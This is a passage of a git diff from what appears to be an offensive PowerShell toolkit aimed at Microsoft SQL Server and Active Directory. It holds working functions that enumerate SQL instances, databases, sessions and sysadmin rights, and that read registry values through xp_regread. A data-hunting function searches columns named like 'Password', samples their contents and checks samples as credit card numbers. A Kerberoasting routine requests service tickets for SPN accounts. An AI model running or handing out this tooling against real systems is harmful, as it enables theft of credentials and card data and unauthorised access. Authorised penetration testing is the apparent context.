|
IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid)) as [OwnerIsSysadmin],
|
||||||
|
a.is_trustworthy_on,
|
||||||
|
a.is_db_chaining_on,"
|
||||||
|
|
||||||
|
if([int]$SQLVersionShort -ge 10) {
|
||||||
|
$QueryVerSpec = '
|
||||||
|
a.is_broker_enabled,
|
||||||
|
a.is_encrypted,
|
||||||
|
a.is_read_only,'
|
||||||
|
}
|
||||||
|
|
||||||
|
$QueryEnd = '
|
||||||
|
a.create_date,
|
||||||
|
a.recovery_model_desc,
|
||||||
|
b.filename as [FileName],
|
||||||
|
(SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2))
|
||||||
|
from sys.master_files where name like a.name) as [DbSizeMb],
|
||||||
|
HAS_DBACCESS(a.name) as [has_dbaccess]
|
||||||
|
FROM [sys].[databases] a
|
||||||
|
INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid WHERE 1=1'
|
||||||
|
|
||||||
|
$Filters = "
|
||||||
|
$DatabaseFilter
|
||||||
|
$NoDefaultsFilter
|
||||||
|
$HasAccessFilter
|
||||||
|
$SysAdminOnlyFilter
|
||||||
|
ORDER BY a.database_id"
|
||||||
|
|
||||||
|
$Query = "$QueryStart $QueryVerSpec $QueryEnd $Filters"
|
||||||
|
|
||||||
|
$TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
|
||||||
|
|
||||||
|
$TblResults | ForEach-Object -Process {
|
||||||
|
if([int]$SQLVersionShort -ge 10) {
|
||||||
|
$is_broker_enabled = $_.is_broker_enabled
|
||||||
|
$is_encrypted = $_.is_encrypted
|
||||||
|
$is_read_only = $_.is_read_only
|
||||||
|
} else {
|
||||||
|
$is_broker_enabled = 'NA'
|
||||||
|
$is_encrypted = 'NA'
|
||||||
|
$is_read_only = 'NA'
|
||||||
|
}
|
||||||
|
|
||||||
|
$null = $TblDatabases.Rows.Add(
|
||||||
|
$_.ComputerName,
|
||||||
|
$_.Instance,
|
||||||
|
$_.DatabaseId,
|
||||||
|
$_.DatabaseName,
|
||||||
|
$_.DatabaseOwner,
|
||||||
|
$_.OwnerIsSysadmin,
|
||||||
|
$_.is_trustworthy_on,
|
||||||
|
$_.is_db_chaining_on,
|
||||||
|
$is_broker_enabled,
|
||||||
|
$is_encrypted,
|
||||||
|
$is_read_only,
|
||||||
|
$_.create_date,
|
||||||
|
$_.recovery_model_desc,
|
||||||
|
$_.FileName,
|
||||||
|
$_.DbSizeMb,
|
||||||
|
$_.has_dbaccess
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
} End {
|
||||||
|
$TblDatabases
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLServerInfo {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
$TblServerInfo = New-Object -TypeName System.Data.DataTable
|
||||||
|
} Process {
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
if(-not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password |
|
||||||
|
? -FilterScript {
|
||||||
|
$_.Status -eq 'Accessible'
|
||||||
|
}
|
||||||
|
if(-not $TestConnection) {
|
||||||
|
"$Instance : Connection Failed."
|
||||||
|
return
|
||||||
|
}
|
||||||
|
$ActiveSessions = Get-SQLSession -Instance $Instance -Username $Username -Password $Password |
|
||||||
|
? -FilterScript { $_.SessionStatus -eq 'running' } | measure -Line | select -Property Lines -ExpandProperty Lines
|
||||||
|
$IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Username $Username -Password $Password
|
||||||
|
if($IsSysadmin.IsSysadmin -eq 'Yes') {
|
||||||
|
$SysadminSetup = "
|
||||||
|
DECLARE @MachineType SYSNAME
|
||||||
|
EXECUTE master.dbo.xp_regread
|
||||||
|
@rootkey = N'HKEY_LOCAL_MACHINE',
|
||||||
|
@key = N'SYSTEM\CurrentControlSet\Control\ProductOptions',
|
||||||
|
@value_name = N'ProductType',
|
||||||
|
@value = @MachineType output
|
||||||
|
DECLARE @ProductName SYSNAME
|
||||||
|
EXECUTE master.dbo.xp_regread
|
||||||
|
@rootkey = N'HKEY_LOCAL_MACHINE',
|
||||||
|
@key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion',
|
||||||
|
@value_name = N'ProductName',
|
||||||
|
@value = @ProductName output"
|
||||||
|
$SysadminQuery = ' @MachineType as [OsMachineType],
|
||||||
|
@ProductName as [OSVersionName],'
|
||||||
|
} else {
|
||||||
|
$SysadminSetup = ''
|
||||||
|
$SysadminQuery = ''
|
||||||
|
}
|
||||||
|
|
||||||
|
$Query = "
|
||||||
|
DECLARE @SQLServerInstance varchar(250)
|
||||||
|
DECLARE @SQLServerServiceName varchar(250)
|
||||||
|
if @@SERVICENAME = 'MSSQLSERVER'
|
||||||
|
BEGIN
|
||||||
|
set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
|
||||||
|
set @SQLServerServiceName = 'MSSQLSERVER'
|
||||||
|
END
|
||||||
|
ELSE
|
||||||
|
BEGIN
|
||||||
|
set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250))
|
||||||
|
set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250))
|
||||||
|
END
|
||||||
|
|
||||||
|
DECLARE @ServiceaccountName varchar(250)
|
||||||
|
EXECUTE master.dbo.xp_instance_regread
|
||||||
|
N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
|
||||||
|
N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'
|
||||||
|
|
||||||
|
DECLARE @AuthenticationMode INT
|
||||||
|
EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
|
||||||
|
N'Software\Microsoft\MSSQLServer\MSSQLServer',
|
||||||
|
N'LoginMode', @AuthenticationMode OUTPUT
|
||||||
|
|
||||||
|
$SysadminSetup
|
||||||
|
|
||||||
|
SELECT '$ComputerName' as [ComputerName],
|
||||||
|
@@servername as [Instance],
|
||||||
|
DEFAULT_DOMAIN() as [DomainName],
|
||||||
|
@SQLServerServiceName as [ServiceName],
|
||||||
|
@ServiceAccountName as [ServiceAccount],
|
||||||
|
(SELECT CASE @AuthenticationMode
|
||||||
|
WHEN 1 THEN 'Windows Authentication'
|
||||||
|
WHEN 2 THEN 'Windows and SQL Server Authentication'
|
||||||
|
ELSE 'Unknown'
|
||||||
|
END) as [AuthenticationMode],
|
||||||
|
CASE SERVERPROPERTY('IsClustered')
|
||||||
|
WHEN 0
|
||||||
|
THEN 'No'
|
||||||
|
ELSE 'Yes'
|
||||||
|
END as [Clustered],
|
||||||
|
SERVERPROPERTY('productversion') as [SQLServerVersionNumber],
|
||||||
|
SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion],
|
||||||
|
serverproperty('Edition') as [SQLServerEdition],
|
||||||
|
SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack],
|
||||||
|
SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture],
|
||||||
|
$SysadminQuery
|
||||||
|
RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber],
|
||||||
|
SYSTEM_USER as [Currentlogin],
|
||||||
|
'$IsSysadmin' as [IsSysadmin],
|
||||||
|
'$ActiveSessions' as [ActiveSessions]"
|
||||||
|
$TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
|
||||||
|
$TblServerInfo = $TblServerInfo + $TblServerInfoTemp
|
||||||
|
$TblServerInfo
|
||||||
|
} End {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLSession {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'PrincipalName.')]
|
||||||
|
[string]$PrincipalName
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
$TblSessions = New-Object -TypeName System.Data.DataTable
|
||||||
|
$null = $TblSessions.Columns.Add('ComputerName')
|
||||||
|
$null = $TblSessions.Columns.Add('Instance')
|
||||||
|
$null = $TblSessions.Columns.Add('PrincipalSid')
|
||||||
|
$null = $TblSessions.Columns.Add('PrincipalName')
|
||||||
|
$null = $TblSessions.Columns.Add('OriginalPrincipalName')
|
||||||
|
$null = $TblSessions.Columns.Add('SessionId')
|
||||||
|
$null = $TblSessions.Columns.Add('SessionStartTime')
|
||||||
|
$null = $TblSessions.Columns.Add('SessionLoginTime')
|
||||||
|
$null = $TblSessions.Columns.Add('SessionStatus')
|
||||||
|
if($PrincipalName) {
|
||||||
|
$PrincipalNameFilter = " and login_name like '$PrincipalName'"
|
||||||
|
} else {
|
||||||
|
$PrincipalNameFilter = ''
|
||||||
|
}
|
||||||
|
} Process {
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
if(-not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | ? -FilterScript {
|
||||||
|
$_.Status -eq 'Accessible'
|
||||||
|
}
|
||||||
|
if(-not $TestConnection) {
|
||||||
|
"$Instance : Connection Failed."
|
||||||
|
return
|
||||||
|
}
|
||||||
|
$Query = " USE master;
|
||||||
|
SELECT '$ComputerName' as [ComputerName],
|
||||||
|
'$Instance' as [Instance],
|
||||||
|
security_id as [PrincipalSid],
|
||||||
|
login_name as [PrincipalName],
|
||||||
|
original_login_name as [OriginalPrincipalName],
|
||||||
|
session_id as [SessionId],
|
||||||
|
last_request_start_time as [SessionStartTime],
|
||||||
|
login_time as [SessionLoginTime],
|
||||||
|
status as [SessionStatus]
|
||||||
|
FROM [sys].[dm_exec_sessions]
|
||||||
|
ORDER BY status
|
||||||
|
$PrincipalNameFilter"
|
||||||
|
$TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
|
||||||
|
$TblResults | % -Process {
|
||||||
|
if ($NewSid) {
|
||||||
|
$NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','')
|
||||||
|
if ($NewSid.length -le 10) {
|
||||||
|
$Sid = [Convert]::ToInt32($NewSid,16)
|
||||||
|
} else {
|
||||||
|
$Sid = $NewSid
|
||||||
|
}
|
||||||
|
$null = $TblSessions.Rows.Add(
|
||||||
|
[string]$_.ComputerName,
|
||||||
|
[string]$_.Instance,
|
||||||
|
$Sid,
|
||||||
|
[string]$_.PrincipalName,
|
||||||
|
[string]$_.OriginalPrincipalName,
|
||||||
|
[string]$_.SessionId,
|
||||||
|
[string]$_.SessionStartTime,
|
||||||
|
[string]$_.SessionLoginTime,
|
||||||
|
[string]$_.SessionStatus
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} End {
|
||||||
|
$TblSessions
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLSysadminCheck {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
$TblSysadminStatus = New-Object -TypeName System.Data.DataTable
|
||||||
|
if($CredentialName) {
|
||||||
|
$CredentialNameFilter = " WHERE name like '$CredentialName'"
|
||||||
|
} else {
|
||||||
|
$CredentialNameFilter = ''
|
||||||
|
}
|
||||||
|
} Process {
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
if(-not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password |
|
||||||
|
? -FilterScript { $_.Status -eq 'Accessible' }
|
||||||
|
if(-not $TestConnection) {
|
||||||
|
"$Instance : Connection Failed."
|
||||||
|
return
|
||||||
|
}
|
||||||
|
$Query = "SELECT '$ComputerName' as [ComputerName],
|
||||||
|
'$Instance' as [Instance],
|
||||||
|
CASE
|
||||||
|
WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No'
|
||||||
|
ELSE 'Yes'
|
||||||
|
END as IsSysadmin"
|
||||||
|
$TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
|
||||||
|
$TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp
|
||||||
|
} End {
|
||||||
|
$TblSysadminStatus
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLColumnSampleData {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = "Don't output anything.")]
|
||||||
|
[switch]$NoOutput,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Number of records to sample.')]
|
||||||
|
[int]$SampleSize = 1,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Comma seperated list of keywords to search for.')]
|
||||||
|
[string]$Keywords = 'Password',
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Database name to filter on.')]
|
||||||
|
[string]$DatabaseName,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Use Luhn formula to check if sample is a valid credit card.')]
|
||||||
|
[switch]$ValidateCC,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = "Don't select tables from default databases.")]
|
||||||
|
[switch]$NoDefaults
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
$TblData = New-Object -TypeName System.Data.DataTable
|
||||||
|
$null = $TblData.Columns.Add('ComputerName')
|
||||||
|
$null = $TblData.Columns.Add('Instance')
|
||||||
|
$null = $TblData.Columns.Add('Database')
|
||||||
|
$null = $TblData.Columns.Add('Schema')
|
||||||
|
$null = $TblData.Columns.Add('Table')
|
||||||
|
$null = $TblData.Columns.Add('Column')
|
||||||
|
$null = $TblData.Columns.Add('Sample')
|
||||||
|
$null = $TblData.Columns.Add('RowCount')
|
||||||
|
if($ValidateCC) { $null = $TblData.Columns.Add('IsCC') }
|
||||||
|
} Process {
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
if(-not $Instance) { $Instance = $env:COMPUTERNAME }
|
||||||
|
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | ? -FilterScript { $_.Status -eq 'Accessible' }
|
||||||
|
if(-not $TestConnection) {
|
||||||
|
"$Instance : CONNECTION FAILED"
|
||||||
|
Return
|
||||||
|
} else {
|
||||||
|
"$Instance : START SEARCH DATA BY COLUMN "
|
||||||
|
"$Instance : - Connection Success. "
|
||||||
|
"$Instance : - Searching for column names that match criteria... "
|
||||||
|
if($NoDefaults) {
|
||||||
|
$Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -ColumnNameSearch $Keywords -NoDefaults
|
||||||
|
} else {
|
||||||
|
$Columns = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -DatabaseName $DatabaseName -ColumnNameSearch $Keywords
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if($Columns) {
|
||||||
|
$Columns | % -Process {
|
||||||
|
Write-Verbose $_.DatabaseName
|
||||||
|
$sDatabaseName = $_.DatabaseName
|
||||||
|
$sSchemaName = $_.SchemaName
|
||||||
|
$sTableName = $_.TableName
|
||||||
|
$sColumnName = $_.ColumnName
|
||||||
|
$AffectedColumn = "[$sDatabaseName].[$sSchemaName].[$sTableName].[$sColumnName]"
|
||||||
|
$AffectedTable = "[$sDatabaseName].[$sSchemaName].[$sTableName]"
|
||||||
|
$Query = "USE $sDatabaseName; SELECT TOP $SampleSize [$sColumnName] FROM $AffectedTable WHERE [$sColumnName] is not null"
|
||||||
|
$QueryRowCount = "USE $sDatabaseName; SELECT count(CAST([$sColumnName] as VARCHAR(200))) as NumRows FROM $AffectedTable WHERE [$sColumnName] is not null"
|
||||||
|
|
||||||
|
"$Instance : - Table match: $AffectedTable "
|
||||||
|
"$Instance : - Column match: $AffectedColumn "
|
||||||
|
"$Instance : - Selecting $SampleSize rows of data sample from column $AffectedColumn. "
|
||||||
|
|
||||||
|
$RowCountOut = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Query $QueryRowCount
|
||||||
|
$RowCount = $RowCountOut.NumRows
|
||||||
|
$SQLQuery = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Query $Query
|
||||||
|
$SQLQuery.$sColumnName | % -Process {
|
||||||
|
$null = $TblData.Rows.Add($ComputerName, $Instance, $sDatabaseName, $sSchemaName, $sTableName, $sColumnName, $_, $RowCount)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
"$Instance : - No columns were found that matched the search. "
|
||||||
|
}
|
||||||
|
"$Instance : END SEARCH DATA BY COLUMN "
|
||||||
|
} End {
|
||||||
|
ForEach ($Row in $TblData) {
|
||||||
|
"ComputerName : " + $Row.ComputerName
|
||||||
|
"Instance : " + $Row.Instance
|
||||||
|
"Database : " + $Row.Database
|
||||||
|
"Schema : " + $Row.Schema
|
||||||
|
"Table : " + $Row.Table
|
||||||
|
"Column : " + $Row.Column
|
||||||
|
"Sample : " + $Row.Sample
|
||||||
|
"RowCount : " + $Row.RowCount
|
||||||
|
""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,113 @@
|
||||||
|
Function Get-ComputerNameFromInstance {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance.')]
|
||||||
|
[string]$Instance
|
||||||
|
)
|
||||||
|
If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]}
|
||||||
|
else{$ComputerName = $env:COMPUTERNAME}
|
||||||
|
Return $ComputerName
|
||||||
|
}
|
||||||
|
|
||||||
|
Function Get-SQLConnectionObject {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Dedicated Administrator Connection (DAC).')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Default database to connect to.')]
|
||||||
|
[String]$Database,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[string]$TimeOut = 1
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''}
|
||||||
|
if(-not $Database){$Database = 'Master'}
|
||||||
|
} Process {
|
||||||
|
if (-not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
$Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
|
||||||
|
if(-not $Username) {
|
||||||
|
$AuthenticationType = "Current Windows Credentials"
|
||||||
|
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1"
|
||||||
|
}
|
||||||
|
if ($username -like "*\*") {
|
||||||
|
$AuthenticationType = "Provided Windows Credentials"
|
||||||
|
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut"
|
||||||
|
}
|
||||||
|
if (($username) -and ($username -notlike "*\*")) {
|
||||||
|
$AuthenticationType = "Provided SQL Login"
|
||||||
|
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"
|
||||||
|
}
|
||||||
|
return $Connection
|
||||||
|
} End {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Function Get-SQLQuery {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server query.')]
|
||||||
|
[string]$Query,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connect using Dedicated Admin Connection.')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Default database to connect to.')]
|
||||||
|
[String]$Database,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[int]$TimeOut,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Return error message if exists.')]
|
||||||
|
[switch]$ReturnError
|
||||||
|
)
|
||||||
|
Begin {
|
||||||
|
$TblQueryResults = New-Object -TypeName System.Data.DataTable
|
||||||
|
} Process {
|
||||||
|
if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database}
|
||||||
|
else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database}
|
||||||
|
$ConnectionString = $Connection.Connectionstring
|
||||||
|
$Instance = $ConnectionString.split(';')[0].split('=')[1]
|
||||||
|
if($Query) {
|
||||||
|
$Connection.Open()
|
||||||
|
"$Instance : Connection Success."
|
||||||
|
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
|
||||||
|
try {
|
||||||
|
$Results = $Command.ExecuteReader()
|
||||||
|
$TblQueryResults.Load($Results)
|
||||||
|
} catch {
|
||||||
|
# pass
|
||||||
|
}
|
||||||
|
$Connection.Close()
|
||||||
|
$Connection.Dispose()
|
||||||
|
}
|
||||||
|
else{'No query provided to Get-SQLQuery function.';Break}
|
||||||
|
} End {
|
||||||
|
if($ReturnError){$ErrorMessage}
|
||||||
|
else{$TblQueryResults.Column1}
|
||||||
|
}
|
||||||
|
}
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -551,6 +551,11 @@ Outputs a custom object containing the SamAccountName, DistinguishedName, Servic
|
||||||
$DistinguishedName = $Null
|
$DistinguishedName = $Null
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :)
|
||||||
|
if($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]){
|
||||||
|
$UserSPN = $UserSPN[0]
|
||||||
|
}
|
||||||
|
|
||||||
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
|
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
|
||||||
$TicketByteStream = $Ticket.GetRequest()
|
$TicketByteStream = $Ticket.GetRequest()
|
||||||
if ($TicketByteStream) {
|
if ($TicketByteStream) {
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,236 @@
|
||||||
|
Function Get-ComputerNameFromInstance
|
||||||
|
{
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance.')]
|
||||||
|
[string]$Instance
|
||||||
|
)
|
||||||
|
If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]}
|
||||||
|
else{$ComputerName = $env:COMPUTERNAME}
|
||||||
|
Return $ComputerName
|
||||||
|
}
|
||||||
|
|
||||||
|
Function Get-SQLConnectionObject
|
||||||
|
{
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Dedicated Administrator Connection (DAC).')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Default database to connect to.')]
|
||||||
|
[String]$Database,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[string]$TimeOut = 1
|
||||||
|
)
|
||||||
|
Begin
|
||||||
|
{
|
||||||
|
if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''}
|
||||||
|
if(-not $Database){$Database = 'Master'}
|
||||||
|
}
|
||||||
|
Process
|
||||||
|
{
|
||||||
|
if(-not $Instance){$Instance = $env:COMPUTERNAME}
|
||||||
|
$Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
|
||||||
|
if($Username -and $Password){$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$UserDomain = [Environment]::UserDomainName
|
||||||
|
$Username = [Environment]::UserName
|
||||||
|
$ConnectionectUser = "$UserDomain\$Username"
|
||||||
|
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1"
|
||||||
|
}
|
||||||
|
return $Connection
|
||||||
|
}
|
||||||
|
End
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Function Get-SQLQuery
|
||||||
|
{
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server query.')]
|
||||||
|
[string]$Query,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connect using Dedicated Admin Connection.')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Default database to connect to.')]
|
||||||
|
[String]$Database,
|
||||||
